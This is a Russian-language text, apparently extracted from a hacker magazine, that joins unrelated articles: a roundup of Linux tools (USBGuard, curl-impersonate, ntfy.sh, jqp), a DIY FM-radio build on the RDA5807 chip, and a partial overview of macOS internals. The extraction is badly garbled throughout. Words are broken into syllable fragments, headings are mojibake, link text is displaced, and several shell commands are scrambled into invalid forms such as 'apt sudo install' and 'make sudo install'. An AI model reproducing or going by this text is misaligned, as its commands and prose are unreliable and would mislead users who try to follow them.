про BadUSB и подоб ные ата ки, осно ван ные на эму ляции легитим ного устрой -
ства вво да при офлай новых ата ках. Но если про сам BadUSB зна ют все, то
встро енная в ядро Linux защита от это го далеко не нас толь ко извес тна.

Ме ханизм USB Device Authorization был добав лен в ядро
в далеком 2007 году и при нес воз можность соз давать пра вила и чер но-белые
спис ки USB-устрой ств, которым мож но и нель зя под клю чать ся к кон крет ной
машине.

Тем не менее удоб ного штат ного спо соба нас трой ки этой защиты
до недав них пор не сущес тво вало. Теперь у нас есть  — ком фор тный
спо соб пре дот вра тить ата ки с USB на твою линук совую машину.

USBGuard

Ус танов ка отно ситель но прос та. Сна чала ставь зависи мос ти:

apt    sudo install --no-install-recommends -V \
   asciidoc autoconf automake bash-completion build-essential 

catch2 \
   docbook-xml docbook-xsl git ldap-utils libaudit-dev libcap-ng-

dev \
   libdbus-glib-1-dev libldap-dev libpolkit-gobject-1-dev 

libprotobuf-dev \
   libqb-dev libseccomp-dev libsodium-dev libtool libxml2-utils \
   libumockdev-dev pkg-config protobuf-compiler sudo tao-pegtl-

dev xsltproc

За тем ска чай исходный код из , перей ди в пап ку с ним и выпол ни
сле дующее:

ре пози тория

./configure
make
make check

make sudo install

Пе ред пер вым запус ком нуж но сде лать некото рую нас трой ку, что бы не ока -
зать ся без кла виату ры перед собс твен ным компь юте ром. Сге нери руй набор
пра вил для раз решения уже под клю чен ных устрой ств:

sh  sudo -c 'usbguard generate-policy > /etc/usbguard/rules.conf'

Те перь мож но запус кать демон.

sudo systemctl start usbguard.service

Ес ли ничего не взор валось и твоя кла виату ра все еще работа ет — заряди сер -
вис в авто заг рузку:

sudo systemctl enable usbguard.service

CURL-IMPERSONATE

Из вес тно, что при желании отли чить бра узер от какой-то тул зы для ска чива ния
мож но по тому, какой имен но тра фик они генери руют. Нап ример, curl будет
отли чать ся от Chrome, даже если уста новить нуж ный заголо вок .
Про исхо дит это из-за спе цифи чес кого механиз ма уста нов ки шиф рован ного
соеди нения, который  для фин гер прин тинга.

User-Agent

мож но экс плу ати ровать
Со мной подели лись про ектом : это спе циаль ная сбор ка

curl, которая уме ет при киды вать ся обыч ным бра узе ром.
curl-impersonate

Ути лита будет полез на, нап ример, если работать с TLS-фин гер прин тингом.
Либо если прос то хочет ся получить пред нас тро енный для ими тации какого-то
бра узе ра curl.

Для уста нов ки мож но прос то ска чать  со стра ницы на GitHub, но перед
этим нуж но уста новить некото рые зависи мос ти:

ре лиз

apt sudo install libnss3 nss-plugin-pem ca-certificates

Для каж дого под держи ваемо го бра узе ра есть скрипт-обер тка, который запус -
кает curl-impersonate с нуж ными парамет рами и заголов ками. Таб лицу я взял
из репози тория прог раммы.

За пуск на при мере Chrome 101:

curl_chrome101 https://xakep.ru

NTFY.SH

Сер вис  поз воля ет удоб но отправ лять уве дом ления на телефон и компь -
ютер пря мо из скрип тов.

ntfy.sh

Что бы отпра вить уве дом ления, дос таточ но обыч ного curl. При мер:

curl \
   -H "Title: XAKEP.RU alert" \
   -H "Priority: high" \
   -H "Tags: heavy_check_mark" \
   -d "Опубликована новая статья\!" \
 ntfy.sh/<your_topic>

Ре зуль тат

Все заголов ки необя затель ны, дос таточ но толь ко дан ных ( ).-d
По лучать уве дом ления на компь юте ре мож но через бра узер — на стра нице

.ntfy.sh/<your_topic>
Для получе ния уве дом лений на телефон нуж но уста новить при ложе ние.

Оно есть в , на  и в . Уста нав ливай и под писывай
на свой топик.

Google Play F-Droid App Store

Сер вис пол ностью откры тый, исходни ки  на GitHub. Мож но под -
нять свой self-hosted-экзем пляр, если собира ешь ся переда вать какие-то
потен циаль но чувс тви тель ные дан ные. При этом в Android-при ложе нии нуж но
взвес ти галоч ку Use another server.

дос тупны

JQP

Пос ледним на сегод ня будет  (сок ращение от  layground) — это кра сивая

TUI-песоч ница для обу чения исполь зованию jq.

jqp jq p

Про сам jq мы  в «Хакере», так что пов торять ся не буду. А вот
про такой клас сный интерфейс к нему нуж но рас ска зать под робнее.

уже писали

Он под держи вает ввод из фай ла (параметр ) или из стан дар тно го потока

вво да ( ). В вер хней час ти кон соли
есть поле для вво да зап роса к jq, в левой колон ке отоб ража ются ввод ные дан -
ные (JSON из фай ла или из ), в пра вой — вывод jq на вве ден ный зап рос.

Нажати ем Tab мож но перек лючать ся меж ду эти ми полями, стре лоч ками —
про лис тывать вверх и вниз.

-f
curl https://url/to/your.json | jqp

stdin

Выб рать все поля timestamp

В репози тории прог раммы есть информа ция о горячих кла вишах, но для ком -
фор тно го исполь зования jqp их знать необя затель но.

Что бы уста новить jqp, прос то ска чай и разар хивируй . Пос ле
это го его удоб но помес тить в :

би нар ный релиз
/usr/local/bin

mv ./jqp /usr/local/bin

ÏÐÈÑÛËÀÉ ÑÂÎÈ ÏÎÆÅËÀÍÈß!

Чем даль ше, тем боль ше я понимаю TUI-мань яков, которым не нуж ны кра -
сивые окош ки и дос таточ но тер минала. Если ты из таких, то навер няка тоже
накопил немалый арсе нал мало извес тных ути лит, о которых я еще не писал.
Не стес няй ся, рас ска зывай о сво их любимых инс тру мен тах в ком мента риях
под этой стать ей, и я добав лю их в сле дующую под борку.

https://github.com/containers/krunvm
https://zellij.dev/
https://zellij.dev/roadmap/
https://github.com/zellij-org/zellij/releases
https://usbguard.github.io/
https://github.com/USBGuard/usbguard
https://fingerprint.com/blog/what-is-tls-fingerprinting-transport-layer-security/#:~:text=TLS%20fingerprinting%20is%20the%20identification,operating%20system%20or%20browser%20version.
https://github.com/lwthiker/curl-impersonate
https://github.com/lwthiker/curl-impersonate/releases
https://ntfy.sh/
https://play.google.com/store/apps/details?id=io.heckel.ntfy
https://f-droid.org/en/packages/io.heckel.ntfy/
https://apps.apple.com/us/app/ntfy/id1625396347
https://github.com/binwiederhier/ntfy
https://github.com/noahgorstein/jqp
https://xakep.ru/2021/06/30/devops-tricks/#toc03.
https://github.com/noahgorstein/jqp/releases/tag/v0.1.0
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В этой статье я покажу, как самому соб -
рать прос той, но качес твен ный FM-ради -
опри емник на осно ве свер хде шево го чипа
RDA5807FP. Наш гад жет будет выдавать
качес твен ный сте реоз вук, у него будут
кноп ки для нас трой ки, квар цевая ста били -
зация час тоты и про чие при ятные фичи.
Если ты лишь недав но взял в руки паяль -
ник, то эта инс трук ция для тебя.

RDA5807

В пре дыду щих стать ях я показы вал, как собирать раз ные FM-при емни ки, одна -
ко начина ющим ради олю бите лям было слож но и собирать их, и нас тра ивать.
Даже свер хре гене ратор, исклю читель но прос той с точ ки зре ния схе мотех ники,
весь ма нет риви ален в нас трой ке, нес табилен в работе и зву чит пос редс твен -
но. Сегод ня у нас будет прос той, но гораз до более прод винутый про ект.

Мик росхе му  я уже упо минал в статье о . Теперь мы рас -
смот рим ее под робнее. Это однокрис таль ный SDR-при емник, под держи -
вающий , но об этом как-нибудь в дру гой раз. Взгля нем на струк турную
схе му.

RDA5807FP SI4734

RDS

Струк турная схе ма RDA5807FP

Здесь лег ко узнать типич ный SDR-при емник. Вход ной сиг нал (обыч но
из антенны) пос тупа ет на УВЧ, затем на квад ратур ный сме ситель, отту да
в виде двух сиг налов I и Q на УПЧ, даль ше на АЦП, пос ле чего в циф ровом
виде обра баты вает ся DSP-про цес сором. В нем сте реосиг нал демоду лиру ется
и декоди рует ся. Затем декоди рован ный сиг нал пос тупа ет на ЦАП, где пре -
обра зует ся в ана лого вый зву ковой сте реосиг нал.

Ге теро дин пред став ляет собой PLL-син тезатор с опор ной час -
тотой 32 768 Гц (часовой кварц, но воз можны и дру гие час тоты), управле ние
час тотой прог рам мное, минималь ный шаг перес трой ки — 25 кГц.

ÖÈÔÐÎÂÀß ÄÅÌÎÄÓËßÖÈß

В  я уже показы вал, как детек тировать сиг налы AM и SSB,
теперь рас смот рим ЧМ.

статье о ZetaSDR

Итак, на выходе АЦП мы име ем сиг налы I и Q, тог да иско мый модули -
рующий сиг нал будет равен

S=arctan(I/Q)'=(IQ'-QI')/(I^2+Q^2)

При чем если в исходном сиг нале хорошо подав лена ампли туд ная модуля ция,
то зна мена тель мож но опус тить, так как он пред став ляет собой кон стан ту. Что
же каса ется поис ка про изводных, то их фун кцию с успе хом выпол няют конеч -
ные раз ности:

X(i)'=X(i+1)-X(i-1)

ÊÎÄÈÐÎÂÀÍÈÅ ÑÒÅÐÅÎ

Хо рошо, с демоду ляци ей разоб рались, а что нас чет сте рео? Сей час исполь -
зует ся кодиро вание сиг нала CCIR. Сог ласно это му стан дарту, спектр сиг нала
име ет сле дующий вид.

Спектр демоду лиро ван ного FM-сиг нала

В низ кочас тотной час ти спек тра рас полага ется сум ма пра вого и левого
каналов, что обес печива ет обратную сов мести мость с монофо ничес кими при -
емни ками. Нап ример, свер хге нера тор, , как раз
выделя ет эту сум му.

о котором я писал ранее

Да лее вок руг час тоты 38 кГц идет раз ность левого и пра вого каналов —
это ампли туд ная модуля ция с подав ленной несущей (DSB-модуля ция). Подав -
ление несущей поз воля ет сузить спектр передат чика, что повыша ет КПД
переда чи.

Од нако для детек тирова ния сиг нала DSB нуж но вос ста новить несущую
с точ ностью до фазы. Для это го переда ется так называ емый pilot tone 19 кГц
(полови на несущей час тоты 38 кГц), собс твен но, по наличию пилот-тона при -
емни ки и опре деля ют, что переда ча содер жит сте реосиг нал.

 (RxLab)•Что такое син хрон ный детек тор?
•Син хрон ный АМ-при емник Поляко ва

Не сущую обыч но получа ют син хро низа цией допол нитель ного гетеро дина
на 38 кГц с пилот-тоном или удво ением его час тоты. В DSP для удво ения час -
тоты исполь зует ся воз ведение в квад рат.

Сиг нал DSB детек тиру ет син хрон ный детек тор, фак тичес ки это тех ника пря -
мого пре обра зова ния с исполь зовани ем вос ста нов ленной несущей. А уже
имея сум му и раз ность каналов, мож но выделить сиг налы левого канала и пра -
вого:

L+R + L-R 2L( ) ( )=
L+R - L-R 2R( ) ( )=

В GNU Radio раз верну тый циф ровой тракт ЧМ-при емни ка выг лядит монс тру -
озно. Прав да, там еще и декодер RDS, который мы сегод ня не рас смат рива -
ем.

SDR-тракт ЧМ-сте реоп рием ника

Внут ри RDA5807 это все, веро ятно, луч ше опти мизи рова но, но общий прин -
цип, несом ненно, тот же.

ÏÐÀÊÒÈÊÀ

Здесь дол жно быть опи сание интерфей са I2C RDA5807, ини циали зация, уста -
нов ка час тоты, нас трой ка гром кости и так далее, но об этом в дру гой раз. Дело
в том, что некото рое вре мя назад мне на гла за попалась инте рес ная схем ка —
тво рение сум рачно го китай ско го гения.

Ис ходная схе ма

Как лег ко видеть, никако го мик рокон трол лера здесь нет, а управле ние выпол -
няет ся кноп ками К1–К5, К1 — вклю чить/вык лючить, К2 — повысить гром кость,
К3 — умень шить гром кость, К4 — пре дыду щая нас трой ка, К5 — сле дующая
нас трой ка. Выг лядела схе ма подоз ритель но, учи тывая, что в даташи те не было
ни сло ва про режим stand alone. Срав нение со схе мой из даташи та толь ко уси -
лило сом нения.

Схе ма из даташи та

На схе ме вид но, что кноп ки под клю чены к выводам GPIO1–3 (это впол не прав -
доподоб но), еще две — к лини ям SDA и SCL (такое тоже сой дет), а вот шес той
вывод мик росхе мы помечен как GND, тог да как в китай ском вари анте под тянут
к плю су питания. Выг лядело это край не сом нитель но, да еще это дурац кое
сум мирова ние каналов кон денса тора ми... Обыч но мик росхе мы при попыт ке
подать плюс на вывод GND испуска ют вол шебный дым и перес тают работать.
Такое я наб людал неод нократ но!

Как всем извес тно, элек тро ника работа ет на вол -
шебном дыме и, как толь ко этот дым вырыва ется
наружу, устрой ство перес тает работать.

Но так как схе ма была черес чур прос той, сама RDA5807FP сто ила все го 8 руб -
лей (сей час 12) и таких мик росхем у меня был неболь шой запас, я решил рис -
кнуть. Для про бы я спа ял все это дело «летуч кой», то есть без вся ких плат —
прос то соеди нил детали про вода ми.

Ле нивый макет

По дал на эту шту ку 3,3 В в ожи дании вол шебно го дыма, но ничего не про -
изош ло. Более того, пос ле под клю чения науш ников и замыка ния
GPIO1 на зем лю (кноп ки вклю чения на макете нет) в науш никах раз далось
шипение, а пос ле нажатия кноп ки нас трой ки при емник успешно зах ватил стан -
цию. Дело за малым — раз вести неболь шую плат ку. Но сна чала нем ного изме -
ним схе му, пос коль ку диоды на вхо де излишни: сог ласно даташи ту, они уже
встро ены во вход ную цепь.

Вход ные цепи RDA5807

А вот кон тур, пожалуй, мож но оста вить, шту ка полез ная, хотя и без него все
будет работать. Резис тор в цепи кноп ки вклю чения тоже мож но убрать. Да и
УЗЧ не нужен, так как мощ ности RDA5807 с лих вой хва тает для стан дар -
тных 32 Ом науш ников. В ито ге получа ем вот такую схе му.

Фи наль ный вари ант схе мы

Вмес то RDA5807SP мож но исполь зовать
RDA5807FP (дорабо тан ная вер сия RDA5807SP)
и HEX3653. Более того, на «Али экс прес се» пред -
лага ют наборы для сбор ки очень похожей схе мы
с пла той и все ми деталя ми — обой дет ся
это дешев ле 100 руб лей.

А вот и пла та под нее.

Пе чат ная пла та

В сбо ре это выг лядит так.

При емник в сбо ре

В качес тве антенны исполь зует ся кусок про вода дли ной при мер но 75 см.

ÐÅÇÓËÜÒÀÒÛ

По соот ношению прос тота/качес тво и цена/качес тво этот при емник уде лыва ет
все, что я ког да-либо собирал. Качес тво зву чания на уров не типич ных про мыш -
ленных образцов, схе мотех ника про ще свер хре гене рато ра и совер шенно
не нуж дает ся в нас трой ке.

При емник работа ет в диапа зоне 87–108 МГц, при вык лючении стан ция,
на которую он нас тро ен, сох раня ется в памяти. Нажатие на кноп ку нас трой ки
запус кает ска ниро вание вверх или вниз по час тоте, при дос тижении гра ницы
диапа зона ска ниро вание начина ется с дру гого кон ца. Чувс тви тель ность у при -
емни ка неп лохая, но усту пает SI4734.

ÍÅÄÎÑÒÀÒÊÈ

Не дос татки, как извес тно, — это про дол жение дос тоинств, и у нас тот самый
слу чай. Рас пла та за прос тоту и отсутс твие кон трол лера — невоз можность тон -
кой нас трой ки и исполь зования всех фун кций RDA5807. Отсутс тву ет инди кация
час тоты, на которую нас тро ен при емник, нет воз можнос ти исполь зовать RDS,
и не получит ся нас тро ить ся на час тоты ниже 87,5 МГц. Прав да, там стан ций
все го нес коль ко штук, да и те дуб лиру ются в диапа зоне 87,5–108 МГц. Но в
целом это все мелочи.

×ÒÎ ÌÎÆÍÎ ÓËÓ×ØÈÒÜ

Улуч шать тут по боль шому сче ту поч ти нечего, раз ве что добавить неболь шой
кон денса тор парал лель но кноп ке вклю чения — это поможет устра нить дре -
безг. Ну и к питанию неп лохо бы для поряд ка добавить кон денса тор. Мож но
еще пос тавить УЗЧ на выход, если недос таточ но науш ников, или прик рутить
одно кас кадный УВЧ на вход, что бы под нять чувс тви тель ность (хотя осо бого
резона я в этом не вижу).

ÂÛÂÎÄÛ

Ду маю, я дал тебе дос таточ но пищи для раз мышле ний и идею для нес ложно го
про екта. Если захочешь пох вастать ся перед зна комы ми, что ты нас тоящий
ради олю битель, то луч ше не при думать.

mailto:duospirit@gmail.com
https://static.chipdip.ru/lib/821/DOC012821269.pdf
https://xakep.ru/2021/07/22/diy-si473x/
https://en.wikipedia.org/wiki/Radio_Data_System
https://xakep.ru/2020/05/08/zetasdr/
https://xakep.ru/2021/12/07/superreg/
https://rxlab.org/text/?id=21
https://habr.com/ru/company/macloud/blog/558650/
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Пред положим, ты недав но при обрел «мак»
или раз думыва ешь, не сде лать ли это.
Но macOS кажет ся чуж дой и непонят ной,
да и вооб ще ходят слу хи о том, что там
чих нуть нель зя без раз решения Тима Кука.
Дру гая рас простра нен ная небыли ца — что
macOS все го лишь чуть-чуть переде лан -
ный Linux. В этой статье мы прой дем ся
по всем основным механиз мам macOS
и заод но погово рим о том, какие в реаль -
нос ти есть огра ниче ния и мож но ли их
обой ти.

ÊÐÀÒÊÀß ÈÑÒÎÐÈß MACOS

Ис тория macOS, как и в целом исто рия Apple, увле катель на и пол на зах ватыва -
ющих перипе тий. Здесь я перес кажу ее в очень сок ращен ном и упро щен ном
виде.

Все началось в далекие вось мидеся тые годы с компь юте ров Apple II. Опе -
раци онной сис темы в сов ремен ном понима нии это го сло ва у них, по сути,
не было: сей час их ОС мы бы наз вали про шив кой. Как и в слу чае с дру гими
домаш ними компь юте рами той эпо хи, в нее вхо дил интер пре татор BASIC, слу -
жив ший для выпол нения поль зователь ских команд.

Ни како го замет ного нас ледия Apple II и III
в macOS сей час не най ти, одна ко жела ющие при -
кос нуть ся к исто рии могут запус тить 

 пря мо в бра узе ре.
эму лятор

Apple II

Компь ютер Apple Macintosh, вышед ший на рынок в 1984 году, разитель но
отли чал ся от этих машин. Его опе раци онная сис тема сра зу вклю чала в себя
гра фичес кий поль зователь ский интерфейс с под дер жкой мыши. Окон ный
интерфейс по тем вре менам счи тал ся уди витель ной новин кой — до это го его
не было ни у одно го серий но про изво димо го компь юте ра (Windows
1.0 появил ся через два года пос ле Macintosh и мно гое у него поза имс тво вал).

Од на из пер вых вер сий Mac OS

Клас сичес кая Mac OS активно раз вивалась до 1996 года, а пос ледний ее
релиз вышел в 2001 году. И если для кон ца вось мидеся тых она счи талась
передо вой, то в девянос тые ее архи тек тура с уста рев шей моделью раз деления
памяти пос тепен но ста ла прег радой для раз вития Apple. В качес тве экс трен -
ной меры руководс тво ком пании решило при обрести стар тап NeXT, осно ван -
ный ранее вытес ненным из Apple Сти вом Джоб сом.

Mac OS 9 — пос ледний боль шой релиз «клас сики»

Глав ной раз работ кой NeXT была гра фичес кая опе раци онная сис тема
NeXTSTEP, в осно ве которой — Unix-образное ядро и окру жение, прод винутый
гра фичес кий дви жок и набор объ ектно ори енти рован ных фрей мвор ков. Пос -
ледний поз волял раз работ чикам лег ко соз давать окон ные при ложе ния
на прод винутом по тем вре менам язы ке Objective-C. На компь юте рах NeXT,
к при меру, был соз дан про тотип пер вого веб-бра узе ра.

NeXTSTEP

Пос ле того как коман да раз работ чиков NeXT переш ла в Apple, сов мес тны ми
уси лиями была соз дана новая сис тема — Mac OS X. Поз днее ее пере име нова -
ли в OS X, а затем в macOS (отдел мар кетин га в Apple никог да не сидит сло жа
руки). Тех ничес ки Mac OS X осно вана на NeXTSTEP, одна ко ее интерфейс мно -
гое почер пнул из клас сичес кой Mac OS.

Mac OS X 10.1 Cheetah

В переход ный пери од «макин тоши» под держи вали как клас сичес кую Mac OS,
так и Mac OS X. С 2002 года все компь юте ры Apple ста ли выходить с пре дус -
танов ленной Mac OS X, а Mac OS 9 еще нес коль ко лет мож но было запус кать
в режиме сов мести мос ти.

ßÄÐÎ XNU

В осно ве macOS, как и в осно ве любой дру гой ОС, лежит ядро. Оно отве чает
за выделе ние про цес сорно го вре мени, управле ние опе ратив ной памятью
и кешем, вза имо дей ствие с устрой ства ми и сетью. В то же вре мя оно обра -
баты вает сис темные вызовы при ложе ний и обес печива ет вза имо дей ствие про -
цес сов.

Сов ремен ная macOS работа ет на ядре XNU, которое приш ло из NeXTSTEP.
За осно ву его кода в свое вре мя был взят про ект Match — ответ вле ние от ядра
FreeBSD.

XNU озна чает X is Not Unix, «X — не Unix». Эта рас шифров ка — дав но уте -
ряв ший акту аль ность прог раммист ский юмор: macOS все же по боль шому сче -
ту счи тает ся одной из раз новид ностей Unix. Одна ко XNU не име ет бинар ной
сов мести мос ти с FreeBSD, то есть прог раммы для FreeBSD в macOS нель зя
запус тить без изме нений и переком пиляции.

Яд ро XNU — гиб ридное. Это зна чит, что в отли чие от мик роядер оно может
быть допол нено рас ширени ями, но при этом не явля ется монолит ным,
как ядро Linux, где все фун кции соб раны в один гигант ский бинар ный файл.

До macOS 10.15 основным спо собом рас ширения ядра были модули kext.
Пос коль ку «кек сты» работа ют в прос транс тве ядра, сбои в них могут при водить
к нес табиль ной работе компь юте ра. К тому же они откры вали боль шие воз -
можнос ти для недоб росовес тных раз работ чиков.

Сей час «кек сты» счи тают ся уста рев шим методом, и со вре менем он будет
отклю чен. Вмес то это го в Apple пред лага ют раз работ чикам исполь зовать
фрей мвор ки DriverKit и SystemExtension, которые поз воля ют соз давать драй -
веры и рас ширения, работа ющие в прос транс тве поль зовате ля.

Ар хитек тура macOS

DARWIN

Опе раци онная сис тема — это не толь ко ядро. Вмес те с Match в NeXTSTEP,
а затем и в Mac OS X переко чевал набор биб лиотек и исполня емых фай лов,
которые вмес те с XNU обес печива ют под дер жку POSIX — Portable Operating
System Interface, «пор тиру емо го интерфей са опе раци онной сис темы».
Это стан дарт, которо му в той или иной мере соот ветс тву ют все Unix-образные
опе раци онные сис темы и который обес печива ет низ коуров невую сов мести -
мость меж ду ними.

В macOS этот слой называ ется Darwin и по сути пред став ляет собой самос -
тоятель ную опе раци онную сис тему. Сюда не вхо дят гра фичес кая сре да и биб -
лиоте ки, нуж ные для работы окон ных при ложе ний, но вхо дят ядро, драй веры,
сетевой стек, набор сис темных и поль зователь ских ути лит коман дной стро ки,
а так же сис тема запус ка служб и при ложе ний launchd.

При желании Darwin мож но уста новить как самос тоятель ную минима лис -
тичную ОС с тек сто вым интер пре тато ром команд. Код Darwin с самого начала
был открыт, одна ко со вре менем в нем появи лось мно жес тво зак рытых ком -
понен тов, вклю чая спе цифич ные для «маков» драй веры.

Пос ледние вер сии Darwin уже было невоз можно соб рать и зас тавить
работать без средств, дос тупных толь ко прог раммис там Apple. Получи лось,
что пуб ликация исходни ков в таком виде ста ла не нуж на ни Apple, ни сооб щес -
тву, и ее прос то прек ратили. Код XNU тем вре менем по-преж нему 
на GitHub и про дол жает обновлять ся.

дос тупен

Сей час силами сооб щес тва под держи вает ся про ект  — по-нас -
тояще му откры тая реали зация Darwin.

PureDarwin

Дол гое вре мя сре ди прод винутых маково дов был
популя рен набор ути лит MacPorts, так же осно -
ван ный на Darwin, но допол ненный и рас ширен -
ный сов ремен ными вер сиями прог рамм для Linux.
MacPorts про дол жают под держи вать, одна ко
сей час его поч ти пол ностью вытес нил пакет ный
менед жер brew.
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Гра фичес кий слой в macOS обыч но называ ют Quartz, хотя под разуме вает ся
под этим набор биб лиотек Core Graphics. Две его важ ней шие час ти —
это Quartz 2D и Quartz Compositor.

Quartz 2D

Quartz 2D отве чает за все, что свя зано с дву мер ной гра фикой. В его основные
задачи вхо дит отри сов ка тек ста и прев ращение гра фичес ких при мити вов, опи -
сан ных в фор мате PostScript, в рас тро вые изоб ражения, которые затем
переда ются в Quartz Compositor.

Фор мат PostScript изна чаль но был раз работан в ком пании Adobe и пред -
назна чал ся для вывода докумен тов на печать. Так же PostScript лег в осно ву
фор мата PDF и, что важ но для нас, исполь зовал ся в компь юте рах NeXT
для опи сания выводи мой на экран гра фики. Отту да он и при шел в macOS. Бла -
года ря такому близ кому родс тву PostScript и PDF «маки» и айфо ны прек расно
справ ляют ся с отоб ражени ем PDF без уста нов ки Adobe Acrobat или дру гого
прос мот рщи ка.

Quartz Compositor

Quartz Compositor одновре мен но игра ет роль гра фичес кого сер вера и ком -
позит ного окон ного менед жера. С одной сто роны, он получа ет от при ложе ний
рас тро вые изоб ражения их окон и собира ет из них кар тинку для отоб ражения
на экра не (это и есть ком позиция), с дру гой — обра баты вает события, свя зан -
ные с устрой ства ми вво да: кли ки мышью и нажатия на кноп ки кла виату ры.
Quartz Compositor опре деля ет, к какому окну отно сят ся события, и пересы лает
их соот ветс тву ющим при ложе ниям.

Пос коль ку Quartz Compositor — это еще и окон ный менед жер, в его задачи
вхо дит отри сов ка поль зователь ско го интерфей са. Это шриф ты, меню, рам ки
окон, панели и про чие вид жеты, которые кол лектив но называ ются интерфей -
сом Aqua. В ран них вер сиях Mac OS X некото рые его эле мен ты дей стви тель но
походи ли на кап ли воды, но с тех пор дизайн мно гок ратно меняли, и теперь
это прос то наз вание.

Не сто ит путать Quartz Compositor со средс твом раз работ ки, которое называ -
ется Quartz Composer. Composer — это визу аль ный язык прог рамми рова ния
в сос таве IDE Xcode, который поз воля ет из готовых бло ков собирать слож ные
пре обра зова ния для изоб ражений и видео. Имен но в этом кон тек сте сло во
Quartz иног да попада ется в гра фичес ких редак торах, которые поз воля ют нап -
рямую исполь зовать воз можнос ти Quartz Composer.

XQuartz

Ес ли порыть ся в средс твах раз работ ки для macOS, то мож но отко пать
еще один инте рес ный арте факт — XQuartz. Это реали зация окон ного сер вера
XWindow из Unix. Дол гое вре мя его сво бод ная реали зация X.Org вхо дила в каж -
дый дис три бутив Linux и была стан дартом де-фак то. Сей час ста рые и не очень
доб рые «иксы» пос тепен но заменя ют сис темами вро де Wayland и Mir, в чем-то
схо жими по устрой ству с маков ским Quartz Compositor.

XQuartz

Что до XQuartz, то он явно соз давал ся в Apple с мыслью, что неп лохо бы иметь
воз можность запус кать гра фичес кие при ложе ния для Unix и Linux. Одна ко нуж -
да в этом ока залась не так велика, и никако го раз вития XQuartz не получил.
В Linux боль шинс тво гра фичес ких прог рамм опи рает ся на биб лиоте ки сред
Gnome и KDE, а их пор тирова ние на «мак» в пла ны Apple не вхо дило. В ито ге
XQuartz может при годить ся толь ко для самых прос тых гра фичес ких прог рамм,
которые обща ются с XWindow нап рямую.

APFS

До выхода macOS 10.13 High Sierra фай ловой сис темой по умол чанию
на любом «маке» была HFS+, унас ледован ная еще от клас сичес кой Mac OS.
В свое вре мя она счи талась передо вой — у HFS+, к при меру, есть под дер жка
Unicode и жур налиро вания (жур нал ФС — исто рия опе раций, которая помога ет
сох ранить целос тность дан ных в слу чае сбоя или отклю чения питания). Одна ко
исходная HFS про екти рова лась еще в вось мидеся тых годах и, нес мотря
на апгрейд до HFS+ в кон це девянос тых, не под держи вала мно гие важ ные
нов шес тва.

В Apple раз работа ли и в 2017 году успешно внед рили в iOS новую фай -
ловую сис тему, наз ванную APFS — Apple File System. Она обла дает мно жес -
твом дос тоинств, которые приш лись кста ти не толь ко на айфо нах и айпа дах,
но и на «маке».

APFS изна чаль но спро екти рова на с уче том исполь зования твер дотель ных
накопи телей (SSD), в час тнос ти под держи вает коман ду TRIM. Так же она может
адре совать фай лы с исполь зовани ем 64-раз рядных иден тифика торов (вмес -
то 32-раз рядных в HFS+), под держи вает раз режен ные фай лы (если файл пус -
той, сис тема не занима ет прос транс тво нулями, а сжи мает их), может шиф -
ровать дан ные на уров не фай лов и катало гов (а не толь ко весь диск) и поз -
воля ет откры вать сетевой дос туп к дис кам с помощью раз ных сетевых про -
токо лов.

APFS дает при рост в ско рос ти, замет ный в пов седнев ной работе. Нап -
ример, гораз до быс трее, чем на HFS+, под счи тыва ется раз мер катало гов
и копиру ются фай лы.

Соз дание тома APFS в Disk Utility

На конец, самая замет ная фича APFS — это воз можность не задавать фик -
сирован ный раз мер логичес ких томов. Они раз деля ют общее физичес кое
прос транс тво, и каж дый из них будет занимать столь ко, сколь ко занима ют его
дан ные.

Спе цифи кации APFS откры ты в дос таточ ной мере, что бы соз давать драй -
веры «толь ко для чте ния». Одна ко уже сущес тву ют экспе римен таль ные драй -
веры для Linux, работа ющие с APFS в режиме «чте ние и запись».

Важ ная осо бен ность APFS, о которой сто ит знать поль зовате лю, —
это нечувс тви тель ность к регис тру. То есть , ,  и про чие подоб -

ные вари ации — это с точ ки зре ния APFS ров но одно и то же. Чувс тви тель -
ность к регис тру мож но вклю чить при фор матиро вании тома, но по умол чанию
на всех «маках» эта нас трой ка вык лючена.

FILE file FiLe

ICLOUD

Еще с начала двух тысяч ных в Apple экспе римен тирова ли с под дер жкой собс -
твен ных облачных сер висов на уров не macOS. iCloud пред шес тво вали iTools,
.Mac и MobileMe. Наз вания менялись, но основная суть всег да сво дилась
к син хро низа ции дан ных меж ду устрой ства ми.

Здесь мы не будем пог ружать ся в устрой ство iCloud. Важ но знать лишь то,
что его исполь зование опци ональ но, но зна читель но упро щает син хро низа цию
меж ду компь юте рами и гад жетами Apple.

На ибо лее замет ный и важ ный ком понент iCloud — это iCloud Drive, куда
поль зователь может сох ранять докумен ты, пос ле чего сис тема будет авто -
мати чес ки сле дить за их сос тоянием и переда вать изме нения в обла ко.
Помимо это го, сущес тву ет фрей мворк CloudKit, который раз работ чики исполь -
зуют для син хро низа ции нас тро ек и про чих отличных от докумен тов дан ных.

iCloud тес но свя зан с учет ной записью Apple ID, одна ко это не одно и то же.
Стро го говоря, иметь Apple ID, что бы поль зовать ся «маком», необя затель но,
но без этой учет ки нель зя будет ска чивать при ложе ния из App Store. С Apple ID
поль зователь получа ет неболь шое бес плат ное хра нили ще в iCloud, на дан ный
момент — 5 Гбайт.

Продолжение статьи →
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РАЗБИРАЕМ В ПОДРОБНОСТЯХ,
КАК УСТРОЕНА MACOS
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SIP

Рань ше на «маках» поль зователь с при виле гиями адми нис тра тора имел все те
же воз можнос ти, что и root — «кор невой» поль зователь в Unix. Под твер див
коман ду вво дом пароля, он мог, к при меру, изме нять или уда лять любые фай -
лы в сис теме.

Это оставля ло лазей ку для вре донос ного ПО: если уба юкать осто рож ность
поль зовате ля и зас тавить его ввес ти пароль, то даль ше мож но скрыт но тво рить
что угод но.

В OS X 10.11 El Capitan появи лась сис тема System Integrity Protection
(SIP) — «защита целос тнос ти сис темы». На прак тике это реали зован ный
на уров не ядра целый ком плекс мер, который не дает зат рагивать работу сис -
темы даже адми нис тра тору.

Сис темные фай лы и катало ги теперь под защитой — это реали зова но
как спе циаль ный рас ширен ный атри бут у фай ла; зап рещена инъ екция кода
в про цес сы, при чем не толь ко сис темные, но и дру гие; зап рещена заг рузка
в ядро непод писан ных рас ширений.

Ко неч но, быва ют слу чаи, ког да SIP меша ет сде лать что-то нуж ное.
Как любитель покопать ся в сис теме, я спо тыка юсь об эту защиту регуляр но
с момен та ее появ ления.

От клю чить SIP воз можно. Для это го нуж но перезаг рузить компь ютер
в режиме вос ста нов ления, открыть тер минал и исполь зовать ути литу csrutil.
Затем еще одна перезаг рузка, и еще две — что бы потом вклю чить SIP обратно
(что все же рекомен дует ся делать).

Gatekeeper

